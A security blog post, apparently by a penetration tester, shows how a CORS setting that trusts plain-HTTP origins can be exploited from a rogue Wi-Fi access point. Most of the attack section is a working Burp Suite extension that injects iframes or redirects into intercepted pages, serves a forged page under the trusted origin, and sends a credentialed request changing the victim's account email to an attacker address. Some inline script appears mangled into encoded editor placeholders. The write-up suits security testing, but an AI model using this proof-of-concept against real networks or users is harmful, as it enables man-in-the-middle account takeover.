Cross-origin resource sharing: unencrypted origin trusted PoC

I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.

Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.

Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything and when I say anything, I mean anything. Let’s assume this “anything” is vulnerable.example.org (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is api.vulnerable.example.org (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?

The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).

We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?

  1. User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
  2. User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s completely-unrelated.example.org
  3. The browser automatically tries port 80 first on completely-unrelated.example.org
  4. iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
  5. Burp injects an iframe or redirects to the vulnerable.example.org (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
  6. The browser loads the iframe or follows the redirect
  7. Burp sees that the browser is requesting vulnerable.example.org (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
  8. The HTML payload runs in the vulnerable.example.org (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  9. The browser decides to send a CORS preflight request from the origin http://vulnerable.example.org (IMPERSONATED_DOMAIN) to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  10. api.vulnerable.example.org (ATTACKED_DOMAIN) allows CORS access for http://vulnerable.example.org (IMPERSONATED_DOMAIN)
  11. Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it

To make this a little bit more clear to you, the CORS preflight will be something like:

OPTIONS /preferences/email HTTP/1.1
Host: ATTACKED_DOMAIN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Origin: http://IMPERSONATED_DOMAIN
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

And the response from the vulnerable server will be similar to:

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN
Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:

ATTACKED_DOMAIN = "api.vulnerable.example.org" # This is the attacked domain, the one where the CORS headers are returned
IMPERSONATED_DOMAIN = "vulnerable.example.org" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header)
USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe
ATTACK_CODE = """
            				//Change email
            				var req2 = new XMLHttpRequest();
            		        req2.onload = reqListener;
            				req2.open('PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); 
            		        req2.setRequestHeader('Content-Type', 'application/json');
            		        req2.withCredentials = true;
            		        req2.send(JSON.stringify({"emailAddress":"attacker@example.org"}));
""" # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request):

# PUT /preferences/email HTTP/1.1
# Host: ATTACKED_DOMAIN
# Content-Type: application/json
# Content-Length: 39
# 
# {"emailAddress":"attacker@example.org"}

# End configuration

import re
import urllib
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpService

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        print "Extension loaded!"
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CORS non-TLS PoC")
        callbacks.registerHttpListener(self)
        self._end_head_regex = re.compile("</head>\s*<body.*?>")
        self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/"
        print "Extension registered!"

    def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse):
        iRequest = self._helpers.analyzeRequest(baseRequestResponse)
        if not messageIsRequest:
            print str(iRequest.getUrl())
            if str(iRequest.getUrl()) == self._iframe_url:
                # If it is a domain we want to attack, respond with the CORS payload
                print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN)
                body = """<html><body>
                    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />
                </body></html>"""
                response = """HTTP/1.1 200 OK
Date: Tue, 01 Jan 1970 08:42:42 GMT
Server: Floyds CORS Exploiter Server
Connection: close
Content-Type: text/html
Content-Length: {}

{}""".format(len(body), body)
                baseRequestResponse.setResponse(ps2jb(response))
            elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()):
                # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN
                print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN)
                response = jb2ps(baseRequestResponse.getResponse())
                if self._end_head_regex.search(response):
                    print "Found a matching HTML page that has the </head> and <body ...> in it."
                    iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse())
                    header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():]
                    if USE_IFRAME:
                        body = re.sub(self._end_head_regex,
                              '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url),
                              body)
                    else:
                        body = re.sub(self._end_head_regex,
                              '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />'.format(self._iframe_url, self._iframe_url),
                              body)
                    header = fix_content_length(header, len(body), "\r\n")
                    baseRequestResponse.setResponse(header + body)


def fix_content_length(headers, length, newline):
    h = list(headers.split(newline))
    for index, x in enumerate(h):
        if "content-length:" == x[:len("content-length:")].lower():
            h[index] = x[:len("content-length:")] + " " + str(length)
            return newline.join(h)
    else:
        print "WARNING: Couldn't find Content-Length header in request, simply adding this header"
        h.insert(1, "Content-Length: " + str(length))
        return newline.join(h)

def jb2ps(arr):
    return ''.join(map(lambda x: chr(x % 256), arr))

def ps2jb(arr):
    return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]

If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.